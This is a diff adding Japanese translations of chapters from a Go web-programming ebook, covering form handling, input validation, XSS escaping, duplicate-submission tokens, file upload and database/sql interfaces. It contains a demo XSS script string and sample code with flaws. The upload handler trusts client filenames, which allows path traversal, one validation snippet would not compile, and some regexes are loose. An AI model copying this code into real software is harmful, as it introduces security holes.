+ +Goではformの処理にすでにとても簡単な方法が用意されています。Requestの中にformを専門に処理するものがあります。とても簡単にWeb開発に利用できるものです。4.1節の中でGoがどのようにフォームの入力を処理するかご説明します。いかなるユーザの入力も信用はできないので、これらの入力に対しバリデーションを行う必要があります。4.2節ではどのように普通のバリデーションを行うか、細かいデモンストレーションを行います。 + +HTTPプロトコルはステートレスなプロトコルです。ではどのようにして一人のユーザを同定するのでしょうか?また、フォームが複数回送信されてしまわないように保証するにはどうするのでしょうか?4.3と4.4節ではcookie(cookieはクライアントに保存される情報です。handlerとサーバを通る度にやり取りされるデータです。)等をより詳しくご紹介します。 + +フォームにはもうひとつ、ファイルをアップロードできるという大きな機能があります。Goはファイルのアップロードをどのように処理しているのでしょうか?大きなファイルをアップロードする際効率よく処理するにはどうすればよいでしょうか?4.5節ではGoによるファイルのアップロード処理の知識を一緒に勉強します。 + +## 目次 +![](images/navi4.png?raw=true) + +## links + * [目次]() + * 前へ: [第三章概要](<03.5.md>) + * 次へ: [フォームの入力を処理する](<04.1.md>) diff --git a/ja/ebook/04.1.md b/ja/ebook/04.1.md new file mode 100644 index 00000000..53c62c83 --- /dev/null +++ b/ja/ebook/04.1.md @@ -0,0 +1,107 @@ +# 4.1 フォームの入力を処理する + +まずフォームによる送信の例を見てみましょう。以下のようなフォームの内容があるとします。login.gtplというファイルを新規作成します。(新しくディレクトリを作ってその中に入れてください) + + + + + + +
+ ユーザ名: + パスワード: + +
+ + + +上で送信されるフォームはサーバの`/login`に渡ります。ユーザが情報を入力し、ログインをクリックした後、サーバのルーティングの`login`にリダイレクトします。まずはこの送信が何のメソッドによるものか判断する必要があります。POSTでしょうかGETでしょうか? + +httpパッケージではとても簡単な方法で取得することができます。前のwebの例を基礎にloginページのformデータをどのように処理するか見てみましょう。 + + + package main + + import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" + ) + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //urlが渡すオプションを解析します。POSTに対してはレスポンスパケットのボディを解析します(request body) + //注意:もしParseFormメソッドがコールされなければ、以下でフォームのデータを取得することができません。 + fmt.Println(r.Form) //これらのデータはサーバのプリント情報に出力されます + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") //ここでwに書き込まれたものがクライアントに出力されます。 + } + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //リクエストを取得するメソッド + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, nil) + } else { + //ログインデータがリクエストされ、ログインのロジック判断が実行されます。 + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } + } + + func main() { + http.HandleFunc("/", sayhelloName) //アクセスのルーティングを設定します + http.HandleFunc("/login", login) //アクセスのルーティングを設定します + err := http.ListenAndServe(":9090", nil) //監視するポートを設定します + if err != nil { + log.Fatal("ListenAndServe: ", err) + } + } + + +上のコードにおいてリクエストを取得するメソッドは`r.Method`を通じて完了することがわかります。これは文字列型の変数です。GET, POST, PUT等のmethod情報を返します。 + +login関数では`r.Method`に従ってログイン画面を表示するのかログインロジックを処理するのかが判断されます。GETメソッドによるリクエストの場合はログイン画面を表示し、その他のメソッドによるリクエストではログインロジックを処理します。例えばデータベースを検索したり、ログイン情報を検証したりといった事です。 + +ブラウザで`http://127.0.0.1:9090/login`を開いた時に以下のような画面が現れます。 + +![](images/4.1.login.png?raw=true) + +図4.1 ユーザログイン画面 + +我々がユーザ名とパスワードを入力しても、サーバは何も出力しません。なぜでしょうか?デフォルトでは、Handlerの中ではformの内容を自動的に解析しないからです。必ず明示的に`r.ParseForm()`をコールした後でなければ、このフォームのデータに対して操作を行うことはできません。コードを少し修正して、`fmt.Println("username:", r.Form["username"])`の前に`r.ParseForm()`という一行を追加してください。再コンパイルしてもう一度入力、送信してみると、今度はサーバがあなたの入力したユーザ名とパスワードを出力するはずです。 + +`r.Form`では全てのリクエストのデータが含まれています。例えばURLの中のquery-string、POSTのデータ、PUTのデータなどです。URLのquery-stringフィールドとPOSTが衝突する場合はsliceに保存されます。これには複数の値が保存されています。Goのオフィシャルドキュメントでは次のバージョンでPOST、GETといったデータは分離されると述べています。 + +ではlogin.gtplのformのaction値である`http://127.0.0.1:9090/login`を`http://127.0.0.1:9090/login?username=astaxie`に変更してもういちど試してみましょう。サーバが出力するusernameはsliceになっていませんか。サーバの出力は以下のようになります: + +![](images/4.1.slice.png?raw=true) + +図4.1 サーバが受け取ったデータを表示 + +`request.Form`はurl.Values型です。この中には`key=value`のような対応するデータが保存されています。ここではformデータに対していくつかの操作をご紹介します: + + v := url.Values{} + v.Set("name", "Ava") + v.Add("friend", "Jess") + v.Add("friend", "Sarah") + v.Add("friend", "Zoe") + // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" + fmt.Println(v.Get("name")) + fmt.Println(v.Get("friend")) + fmt.Println(v["friend"]) + +>**Tips**: +RequestそのものもFormValue()関数でユーザが送信したデータを取得できます。例えばr.Form["username"]はr.FormValue("username")とも書けます。r.FormValueをコールした時は自動的にr.ParseFormがコールされますので、事前にコールする必要はありません。r.FormValueは同名のデータの中から一つ目のものだけを返します。もしデータが存在しない場合は空文字列を返します。 + +## links + * [目次]() + * 前へ: [フォーム](<04.0.md>) + * 次へ: [フォームに入力された内容の検証](<04.2.md>) diff --git a/ja/ebook/04.2.md b/ja/ebook/04.2.md new file mode 100644 index 00000000..7228afbb --- /dev/null +++ b/ja/ebook/04.2.md @@ -0,0 +1,162 @@ +# 4.2 フォームに入力された内容の検証 + +Web開発の原則はユーザが入力したいかなる情報も信用してはならないということです。そのため、ユーザの入力した情報を検証しフィルターすることは非常に重要になってきます。ブログやニュースの中でどこそこのホームページがハッキングされたりセキュリティホールが存在するといったことをよく聞くかもしれません。これらの大部分はユーザの入力した情報に対してホームページが厳格な検証を行わなかった事によるものです。そのため、安全なWebプログラムを書くために、フォームの入力を検証する意義は非常に大きいのです。 + +Webアプリケーションを書く時は主に2つの方面のデータ検証があります。ひとつはページ上でのjsによる検証で(現在この方面では多くのプラグインがあります。例えばValidationJSプラグインなどがそうです)、もうひとつはサーバ側での検証です。この節ではどのようにサーバでの検証を行うか解説します。 + +## 必須フィールド +あるフォーム要素から一つの値を取り出したいとします。例えば、前の節のユーザ名はどのように処理するのでしょうか?Goにはbuiltin関数`len`があり、文字列の長さを得ることができます。lenを使ってデータの長さを測ることができます。例えば: + + if len(r.Form["username"][0])==0{ + //空だった場合の処理 + } + +`r.Form`は異なる型のフォーム要素の空白に対して異なる処理を行います。空のテキストフィールド、テキストエリアおよびファイルアップロードに対して、その要素の値を空にします。また選択されていないコンボボックスやセレクトボックスr.Formの中にはそもそもその項目を作りません。上の例の中の方法でデータを取得した時プログラムはエラーを発生させます。そのため、`r.Form.Get()`を使って値を取る必要があります。なぜなら、もしフィールドが存在しなかった場合、この方法で取得すると空の値を得るからです。ですが、`r.Form.Get()`は単体の値しか得ることができません。もしmapの値であれば、かならず上の方法で得る必要があります。 + +## 数 +たとえば、フォームからある人の年齢が50歳や10歳といった具体的な値を必要としていて、"おっさん"とか"若者"というようなものでなかったとします。このようにフォームの入力フィールドの中で数字のみを許容するようにさせたい場合、整数かどうかを判断するために、まずint型に変換を行ってから処理を行います。 + +正の整数を判断しようとする場合は、まずint型に変換してから処理を行います + + getint,err:=strconv.Atoi(r.Form.Get("age")) + if err!=nil{ + //数の変換でエラーが発生。つまり、数字ではありません。 + } + + //次にこの数の取りうる範囲を判断します。 + if getint >100 { + //大きすぎる + } + +もう一つの方法は正規表現による方法です。 + + if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { + return false + } + +性能の高さを必要とするユーザからすれば、これはよく話題にのぼる問題です。彼らはなるべく正規表現を避けるべきだと考えています。なぜなら正規表現の速度は一般的に遅いからです。しかし現在のようにコンピュータの性能がこれほど発達した時代では、このように簡単な正規表現の効率と型変換関数の間ではそれほど大きな差はありません。もしあなたが正規表現に詳しく、他の言語でも使用されているのであれば、Goの中で正規表現を使うのは便利な方法の一つです。 + +>Goの正規表現の実装は[RE2](http://code.google.com/p/re2/wiki/Syntax)です。すべての文字はUTF-8エンコーディングです。 + +## 中文 +フォームの要素からユーザの中国語名を得たい場合で、なおかつ正しい中国語であることを保証したい場合、検証を行う必要があります。ユーザに自由に入力はさせません。中国語に対する有効な検証方法は今のところ正規表現しかありません。下のコードをご確認ください + + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m { + return false + } + +## 英文 +あるユーザの英語名を知りたいときなど、フォームの要素から英語の値を取り出したい場合は、astaxieであってasta谢ではないはずです。(訳注:「谢」はピンインでxieと書く) + +簡単な正規表現を使ってデータを検証することができます: + + if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { + return false + } + + +## メールアドレス +ユーザが入力したEmailアドレスが正しいか確認したい場合は以下のような方法で検証できます: + + if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { + fmt.Println("no") + }else{ + fmt.Println("yes") + } + + +## 携帯電話番号 +ユーザが入力した携帯電話番号が正しいか判断したい場合は以下の正規表現で検証できます(訳注:中国の携帯電話番号): + + if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m { + return false + } + +## プルダウンメニュー +フォームの中の` + + + + + +この場合は以下のように検証することができます + + slice:=[]string{"apple","pear","banane"} + + for _, v := range slice { + if v == r.Form.Get("fruit") { + return true + } + } + return false + +## ラジオボタン +男と女という性別の選択肢を出力するようなラジオボタンで、どれかが選択されているか判断するとします。15歳の退屈な少年がhttpプロトコルの本を片手にtelnetクライアントからあなたのプログラムに対してリクエストを送信したとしましょう。あなたは男に1を、女に2を設定していて、彼が3という値を送信した場合、あなたのプログラムは例外を出すでしょうか?プルダウンメニューの判断と同じように我々が得ようとしている値がそもそも設定されたものであるかを判断しなければなりません。 + + 男 + 女 + +プルダウンメニューの方法と同じように行うことができます + + slice:=[]int{1,2} + + for _, v := range slice { + if v == r.Form.Get("gender") { + return true + } + } + return false + +## チェックボックス +趣味を選択するチェックボックスがあり、ユーザが選択したものとあなたがユーザに提供した選択が同じ型のデータであることを保証する場合 + + サッカー + バスケットボール + テニス + +チェックボックスではラジオボタンの時とくらべ検証方法が少し異なります。受け取るデータはsliceだからです。 + + slice:=[]string{"football","basketball","tennis"} + a:=Slice_diff(r.Form["interest"],slice) + if a == nil{ + return true + } + + return false + +上の`Slice_diff`という関数には私のオープンソースのライブラリが含まれます(sliceとmapを操作するライブラリ)[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) + +## 日付と時間 +ユーザが入力した日時が有効か確認したいとします。例えば +、ユーザがスケジュールで8月45日にパーティを開く予定を入力したり、未来の時間を誕生日にしてみたりといった場合です。 + +Goではtimeの処理パッケージを提供しています。ユーザの入力した年月日を目的の時間に変換してから、判断を行います。 + + t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) + fmt.Printf("Go launched at %s\n", t.Local()) + +timeを取得した後、多くの時間関数の操作を行うことができます。具体的な判断は自身の要件に合わせて調整してください。 + +## 身分証明書番号 +フォームに入力された身分証を検証する場合、正規表現を使っても簡単に検証できます。しかし身分証明書番号は15桁と18桁があるので2つとも検証しなければなりません。(訳注:中国では身分証明書とともに個人を特定する国民背番号があります。) + + //15桁の身分証明書の検証。15桁はすべて数字です。 + if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m { + return false + } + + //18桁の身分証明書の検証。18桁の前17桁は数字で、最後の一桁はチェックデジットです。数字または文字Xを取り得ます。 + if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m { + return false + } + +以上よく使用されるサーバ側でのフォーム要素の検証をいくつかご紹介しました。このイントロダクションを通してGoによるデータ検証、特に正規表現での処理に対する理解が深まるよう願っています。 + +## links + * [目次]() + * 前へ: [フォームの入力を処理する](<04.1.md>) + * 次へ: [クロスサイトスクリプティングの予防](<04.3.md>) diff --git a/ja/ebook/04.3.md b/ja/ebook/04.3.md new file mode 100644 index 00000000..36876a96 --- /dev/null +++ b/ja/ebook/04.3.md @@ -0,0 +1,68 @@ +# 4.3 クロスサイトスクリプティングの予防 + +現在のホームページは大量の動的なコンテンツを含み、ユーザのエクスペリエンスを高めています。以前に比べてとても複雑になっています。いわゆる動的なコンテンツとは、ユーザの環境と要求により、Webアプリケーションが目的の内容を出力できることを指します。動的なホームページは"クロスサイトスクリプティング"(Cross Site Scripting、セキュリティ専門家が一般的にXSSと省略するもの)と呼ばれる攻撃を受けることがあります。 + +攻撃者は通常セキュリティホールのあるプログラム中にJavaScript、VBScript、ActiveXまたはFlashを挿入することでユーザを騙します。一旦攻撃が成功するとユーザアカウント情報が盗まれ、ユーザの設定を改ざんされてしまったり、cookieを盗みまたは汚染して悪意ある広告を埋め込んだりされます。 + +XSSに対する最も効果的な予防は以下の二種類を組み合わせることです:すべての入力データを検証し、攻撃の検査をすること(これに関しては前の節でいくつかご紹介しました)。もうひとつは出力されるデータに対し適切な処理を行うことによって、すでに挿入されてしまったいかなるスクリプトに対してもブラウザで実行されないようにすることです。 + +Goではどのようにこの効果的な防御を行なっているのでしょうか?Goのhtml/templateの中では以下のいくつかの関数によってエスケープすることができます。 + +- func HTMLEscape(w io.Writer, b []byte) //bに対してエスケープを行い、wに出力する。 +- func HTMLEscapeString(s string) string //sに対してエスケープを行い、結果の文字列を返す。 +- func HTMLEscaper(args ...interface{}) string //複数の引数を同時にエスケープします。結果となる文字列を返します。 + + +4.1節の例を見てみましょう。 + + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //サーバ側に出力されます。 + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) //クライアントに出力されます。 + +もし入力されたusernameが``だった場合、ブラウザ上では以下のように表示されます: + +![](images/4.3.escape.png?raw=true) + +図4.3 Javascriptフィルターによる出力 + +Goのhtml/templateパッケージはデフォルトでhtmlタグをフィルターします。しかし時にはこの``を正常な情報として出力したい場合があるかもしれません。そのような場合はどのように処理するべきでしょうか?この場合はtext/templateをご利用ください。下の例をご覧ください: + + import "text/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +出力 + + Hello, ! + +またはtemplate.HTML型を使用すると + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", template.HTML("")) + +出力 + + Hello, ! + +`template.HTML`に変換した後も、変数の内容はエスケープされません。  + +エスケープの例: + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +エスケープ後の出力: + + Hello, <script>alert('you have been pwned')</script>! + + + +## links + * [目次]() + * 前へ: [入力値の検証](<04.2.md>) + * 次へ: [フォームの複数回送信の防止](<04.4.md>) diff --git a/ja/ebook/04.4.md b/ja/ebook/04.4.md new file mode 100644 index 00000000..e47d9827 --- /dev/null +++ b/ja/ebook/04.4.md @@ -0,0 +1,58 @@ +# 4.4 フォームの複数回送信の防止 + +以前どこかのBBSやブログでご覧になったかもしれませんが、一つのスレや文章の後でいくつもの重複が記録されていることがあります。これらの大多数はユーザが複数回書き込みフォームを送信してしまったことによるものです。様々な原因で、ユーザはよくフォームを複数回送信してしまいます。通常はマウスの誤操作によるもので、送信ボタンをダブルクリックしてしまったり、一旦送信した内容を再度修正しようとして、ブラウザの戻るボタンを押した後に次へボタンではなくまた送信ボタンを押してしまうことによるものです。当然、故意によるものもあります。- - 例えばネット上のアンケート調査やくじ引きにおいて重複して投票するなどです。では、どのようにしてユーザが同じ内容のフォームの送信を行うことを効果的に防げるのでしょうか? + +解決方法はフォームの中に唯一の値を持ったhiddenフィールドを追加することです。フォームを検証する際、この唯一の値を持ったフォームがすでに送信されているかどうか検証します。もしすでに送信されていれば、二回目の送信を拒絶します。そうでなければフォームに対して処理ロジックを行います。また、もしAjax形式で送信するフォームだった場合、フォームが送信された後、javascriptによってフォームの送信ボタンを禁止します。 + +4.2節の例を改良してみましょう: + + サッカー + バスケットボール + テニス + ユーザ名: + パスワード: + + + +テンプレートの中に`token`というhiddenフィールドを追加しました。この値にはMD5(タイムスタンプ)によってユニークな値を割り当てます。この値をサーバに保存することで(sessionによってコントロールは、6章でどのように保存するか解説します)フォームが送信される際の判定に使うことができます。 + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //リクエストを受け取る方法 + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + //リクエストはログインデータです。ログインのロジックを実行して判断します。 + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + //tokenの合法性を検証します。 + } else { + //tokenが存在しなければエラーを出します。 + } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //サーバ側に出力します。 + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) //クライアントに出力します。 + } + } + +出力されるページのソースは以下の通り: + +![](images/4.4.token.png?raw=true) + +図4.4 tokenを追加した後クライアントが出力するソース情報 + +tokenはすでに出力値を持っていますので、連続してページを更新することができます。この値が次々と変化するのがお分かりいただけるかと思います。このように毎回formが表示される時にユニークになるよう保証します。ユーザが送信するフォームは唯一性が保持されます。 + +この解決方法は悪意の無い攻撃に対しても防止することができます。また悪意のあるユーザに対してもしばらく効果があります。その後、この悪意のある動機を捨て去ることができなかった場合は更に複雑な作業が必要となります。 + +## links + * [目次]() + * 前へ: [クロスサイトスクリプティングの予防](<04.3.md>) + * 次へ: [ファイルのアップロード処理](<04.5.md>) diff --git a/ja/ebook/04.5.md b/ja/ebook/04.5.md new file mode 100644 index 00000000..9e109411 --- /dev/null +++ b/ja/ebook/04.5.md @@ -0,0 +1,155 @@ +# 4.5 ファイルのアップロード処理 +ユーザによるファイルのアップロードを処理したいとします。例えば、現在Instagramのようなホームページを作成しているとします。ユーザが撮影した写真を保存する必要があります。このような要求はどのように実現するのでしょうか? + +フォームにファイルをアップロードさせるためには、まずformの`enctype`属性を追加する必要があります。`enctype`属性には以下の3つの状態あります: + + application/x-www-form-urlencoded 送信前にすべての文字列をエンコードする(デフォルト) + multipart/form-data 文字列に対してエンコードしません。ファイルのアップロードウィジェットを含むフォームを使用するときはこの値が必要です。 + text/plain 空白を"+"記号に置き換えます。ただし、特殊文字に対してエンコードは行われません。 + +そのため、フォームのhtmlコードはこのようになります: + + + + ファイルアップロード + + +
+ + + +
+ + + +サーバでは、handlerFuncをひとつ追加します: + + http.HandleFunc("/upload", upload) + + // /uploadを処理するロジック + func upload(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //リクエストを受け取るメソッド + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("upload.gtpl") + t.Execute(w, token) + } else { + r.ParseMultipartForm(32 << 20) + file, handler, err := r.FormFile("uploadfile") + if err != nil { + fmt.Println(err) + return + } + defer file.Close() + fmt.Fprintf(w, "%v", handler.Header) + f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) + if err != nil { + fmt.Println(err) + return + } + defer f.Close() + io.Copy(f, file) + } + } + +上のコードでは、ファイルのアップロードを処理するためには`r.ParseMultipartForm`をコールする必要があります。引数には`maxMemory`が表示されています。`ParseMultipartForm`をコールした後、アップロードするファイルは`maxMemory`のサイズのメモリに保存されます。もしファイルのサイズが`maxMemory`を超えた場合、残った部分はシステムのテンポラリファイルに保存されます。`r.FormFile`によって上のファイルハンドルを取得することができます。その後実例の中では`io.Copy`を使ってファイルを保存しています。 + +>その他のファイルではないフィールド情報を取得する時は`r.ParseForm`をコールする必要はありません。必要な時はGoが自動でコールします。また`ParseMultipartFrom`を一度コールすると、その後にもう一度コールしても効果はありません。 + +上の実例を通して、ファイルのアップロードには主に3ステップの処理があることが分かります: + +1. フォームにenctype="multipart/form-data"を追加する。 +2. サーバで`r.ParseMultipartForm`をコールし、アップロードするファイルをメモリとテンポラリファイルに保存する。 +3. `r.FormFile`を使用して、ファイルハンドルを取得し、ファイルに対して保存等の処理を行う。 + +ファイルhandlerはmultipart.FileHnadlerです。この中には以下のような構造体が保存されています。 + + type FileHeader struct { + Filename string + Header textproto.MIMEHeader + // contains filtered or unexported fields + } + +上のコード例では以下のようにファイルのアップロードを出力します。 + +![](images/4.5.upload2.png?raw=true) + +図4.5 ファイルのアップロードを行った後サーバが受け取った情報の出力 + +## クライアントによるファイルのアップロード + +上の例でどのようにフォームからファイルをアップロードするのか示しました。その後サーバでファイルを処理しますが、Goは実はクライアントのフォームによるファイルのアップロードをエミュレートする機能をサポートしています。詳しい仕様方法は以下の例をご覧ください: + + package main + + import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" + ) + + func postFile(filename string, targetUrl string) error { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + + //キーとなる操作 + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + if err != nil { + fmt.Println("error writing to buffer") + return err + } + + //ファイルハンドル操作をオープンする + fh, err := os.Open(filename) + if err != nil { + fmt.Println("error opening file") + return err + } + + //iocopy + _, err = io.Copy(fileWriter, fh) + if err != nil { + return err + } + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + + resp, err := http.Post(targetUrl, contentType, bodyBuf) + if err != nil { + return err + } + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) + return nil + } + + // sample usage + func main() { + target_url := "http://localhost:9090/upload" + filename := "./astaxie.pdf" + postFile(filename, target_url) + } + + +上の例ではクライアントが如何にサーバに対し一つのファイルをアップロードするのかご説明しました。クライアントはmultipart.Writeを通してファイルの本文をバッファの中に書き込みます。その後、httpのPostメソッドをコールしてバッファからサーバに転送します。 + +>もしあなたが他にusernameといった普通のフィールドを同時に書き込む場合は、multipartのWriteFieldメソッドをコールして、その他の似たようなフィールドを複数書き込むことができます。 + +## links + * [目次]() + * 前へ: [フォームの多重送信の防止](<04.4.md>) + * 次へ: [概要](<04.6.md>) diff --git a/ja/ebook/04.6.md b/ja/ebook/04.6.md new file mode 100644 index 00000000..e3b349da --- /dev/null +++ b/ja/ebook/04.6.md @@ -0,0 +1,9 @@ +# 4.6 概要 +この一章ではGoでどのようにフォームの情報を処理するか学びました。ユーザのログインから、ファイルのアップロードの例で、Goがformの情報およびファイルをアップロードする手段についてご説明しました。しかし、フォームを処理する過程ではユーザの入力した情報を懸賞する必要があります。ホームページのセキュリティの重要性を考慮すると、データのフィルタリングは相当重要です。そのため、以降の章では異なる方面のデータフィルタリングをご説明します。同時にGoの文字列に対する正規表現についても述べます。 + +この一章を通してクライアントとサーバが如何にデータを互いにやりとりするか理解いただけたと思います。クライアントはデータをサーバシステムに渡し、サーバはデータを受け取って結果をクライアントにフィードバックします。 + +## links + * [目次]() + * 前へ: [ファイルのアップロードの処理](<04.5.md>) + * 次へ: [データベースへのアクセス](<05.0.md>) diff --git a/ja/ebook/05.0.md b/ja/ebook/05.0.md new file mode 100644 index 00000000..cf8108e8 --- /dev/null +++ b/ja/ebook/05.0.md @@ -0,0 +1,14 @@ +# 5 データベースへのアクセス +多くのWebアプリケーションプログラムにおいて、データベースはその核心となるものです。データベースはあなたが検索やさまざまな情報を修正したい場合にはほとんどで使用されます。例えばユーザ情報や製品の目録またはニュースのリスト等です。 + +Goはどのようなデータベースの使用もbuiltinではサポートされていません。しかし、Goはdatabase/sqlインターフェースを定義していますので、ユーザはこのドライバインターフェースに基いて目的のデータベースを使用することができます。5.1節でGoでデザインされているいくつかのドライバインターフェースやデータベースドライバインターフェースをご紹介します。5.2から5.4節では現在比較的使用されている関係型データドリブンとその使用方法についてご紹介します。5.5節では私が開発したORMライブラリをご紹介します。database/sqlの標準インターフェースに基づいた開発です。ほぼ全てのdatabase/sqlをサポートするデータベースの使用に互換性があります。Goスタイルで簡単にデータベース操作を行うことができます。 + +現在NOSQLはすでにWeb開発の流行となっています。多くのアプリケーションがNOSQLをデータベースとして採用しています。以前のキャッシュではありません。5.6節ではMongoDBとRedisの2つのNOSQLデータベースについてご紹介します。 + +## 目次 + ![](images/navi5.png?raw=true) + +## links + * [目次]() + * 前へ: [第四章概要](<04.6.md>) + * 次へ: [database/sqlインターフェース](<05.1.md>) diff --git a/ja/ebook/05.1.md b/ja/ebook/05.1.md new file mode 100644 index 00000000..69801941 --- /dev/null +++ b/ja/ebook/05.1.md @@ -0,0 +1,204 @@ +# 5.1 database/sqlインターフェース +GoのPHPと異なる部分は、Goにはオフィシャルが提供するデーターベースドライバを持っていない事です。開発者が開発するためにデータベースドライバで標準のインターフェースが定義されています。開発者は定義されているインターフェースに従って目的のデータベースドライバを開発することができます。これにはメリットがあります。標準のインターフェースを参照するだけでコードを開発できます。以降データベースに遷移する時、どのような修正も必要ありません。では、Goはどのような標準インターフェースを定義しているのでしょうか?詳しく分析してみることにしましょう。 + +## sql.Register +database/sqlに存在する関数はデータベースドライバを登録するためにあります。サードパーティの開発者がデータベースドライバを開発する時は、すべてinit関数を実装します。init関数ではこの`Register(name string, driver driver.Driver)`をコールすることでこのドライバの登録を完了させます。 + +mymysql、sqlite3のドライバではどのようにコールしているのか見てみることにしましょう: + + //https://github.com/mattn/go-sqlite3ドライバ + func init() { + sql.Register("sqlite3", &SQLiteDriver{}) + } + + //https://github.com/mikespook/mymysqlドライバ + // Driver automatically registered in database/sql + var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} + func init() { + Register("SET NAMES utf8") + sql.Register("mymysql", &d) + } + +サードパーティのデータベースドライバはすべてこの関数をコールすることで自分のデータベースドライバの名前と目的のdriverを登録することがお分かりいただけたかと思います。database/sqlの内部ではひとつのmapを通してユーザが定義した目的のドライバを保存します。 + + var drivers = make(map[string]driver.Driver) + + drivers[name] = driver + +なぜならdatabase/sqlによって関数を登録できると同時に複数のデータベースドライバを登録することができるからです。重複させなければよいだけです。 + +>database/sqlインターフェースとサードパーティライブラリを使用する時、よく以下のようになります: + +> import ( +> "database/sql" +> _ "github.com/mattn/go-sqlite3" +> ) + +>新人はこの`_`にとても戸惑いがちです。実はこれはGoの絶妙な設計なのです。変数に値を代入する際、よくこの記号が現れます。これは変数を代入する時のプレースホルダの省略です。パッケージのインポートにこの記号を使っても同じような作用があります。ここで使用した`_`はインポートした後のパッケージ名で、このパッケージに定義されている関数、変数などのリソースを直接使用しない事を意味しています。 + +>2.3節で述べたフローと関数の中でinit関数の初期化プロセスをご紹介しました。パッケージがインポートされる際はパッケージのinit関数が自動的にコールされ、このパッケージに対する初期化が完了します。そのため、上のデータベースドライバパッケージをインポートするとinit関数が自動的にコールされます。つぎに、init関数でこのデータベースドライバを登録し、以降のコードの中で直接このデータベースドライバを直接使用することができます。 + +## driver.Driver +Driverはデータベースドライバのインターフェースです。methodがひとつ定義されています: Open(name string)、このメソッドはデータベースのConnインターフェースを一つ返します。 + + type Driver interface { + Open(name string) (Conn, error) + } + +返されるConnは一回のgoroutineの操作を行う事ができるだけです。このConnをGoの複数のgoroutineの中に使うことはできません。以下のコードはエラーが発生します。 + + ... + go goroutineA (Conn) //検索操作の実行 + go goroutineB (Conn) //挿入操作の実行 + ... + +上のようなコードではGoにとってどのような操作がどのgoroutineによって行われたのか知り得ませんのでデータの混乱を招きます。たとえばgoroutineAで実行された検索操作の結果をgoroutineBに返す場合Bはこの結果を自分が実行した挿入データだと誤解してしまいます。 + +サードパーティドライバはすでてこの関数を定義しています。これはname引数を解析することによって目的のデータベースの接続情報を得ることができます。解析が終わると、この情報を使って、ひとつのConnを初期化し、それを返します。 + +## driver.Conn +Connはデータベース接続のインターフェース定義です。これにはいくつかのメソッドが定義されています。このConnはひとつのgoroutineの中でしか使用することができず、複数のgoroutineの中では使用することができません。詳細は上の説明をご確認ください。 + + type Conn interface { + Prepare(query string) (Stmt, error) + Close() error + Begin() (Tx, error) + } + +Prepare関数は現在の接続と関連した実行されるSQL文の準備状態を返します。検索、削除等の操作を行うことができます。 + +Close関数は現在の接続を閉じます。接続が持っているリソースを開放するなど整理作業を行います。ドライバはdatabase/sqlの中のconn poolを実現しているので、問題を起こしやすいのです。 + +Begin関数はトランザクション処理を表すTxを返します。これを利用して検索、更新といった操作を行うことができます。またはトランザクションに対してロールバックやコミットを行います。 + +## driver.Stmt +Stmtは準備が整った状態です。Connの関連性と、またひとつのgoroutineの中でしか使用することができません。複数のgoroutineに使用することはできません。 + + type Stmt interface { + Close() error + NumInput() int + Exec(args []Value) (Result, error) + Query(args []Value) (Rows, error) + } + +Close関数は現在の接続状態を閉じます。ただし、もし現在実行されているqueryはrowsデータを返します。 + 